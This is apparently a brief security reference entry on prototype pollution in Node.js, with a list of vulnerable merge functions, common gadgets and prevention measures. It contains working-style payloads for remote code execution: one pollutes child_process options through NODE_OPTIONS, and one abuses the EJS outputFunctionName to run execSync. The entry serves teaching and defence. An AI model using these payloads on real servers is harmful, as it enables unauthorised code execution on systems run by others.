Node.js Prototype Pollution

Node.js Prototype Pollution is a JavaScript vulnerability particularly impactful in server-side Node.js applications, where polluting Object.prototype can affect application behavior, bypass security checks, or achieve remote code execution.

Server-Side Impact

Unlike browser-based prototype pollution, Node.js pollution persists for the entire process lifetime, affecting all subsequent requests and operations.

Code Execution via Child Process

// If Object.prototype is polluted:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'node';
Object.prototype.env = { NODE_OPTIONS: '--require /tmp/payload.js' };

// Later, when any child process spawns:
child_process.spawn('anything');
// Uses polluted properties → executes payload!

EJS Template Engine RCE

// Pollution payload
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders, polluted property triggers RCE

Vulnerable Functions

# Deep merge/extend operations
_.merge({}, userInput);
$.extend(true, {}, userInput);
lodash.defaultsDeep({}, userInput);

# Object.assign (shallow, but still risky)
Object.assign({}, userInput);

Common Gadgets

  • child_process options pollution
  • Template engine options (EJS, Pug, Handlebars)
  • HTTP library options
  • Database driver options

Prevention

  • Use Object.create(null) for dictionaries
  • Validate input types before merging
  • Use --frozen-intrinsics flag (Node.js 12+)
  • Filter __proto__, constructor, prototype keys

See Also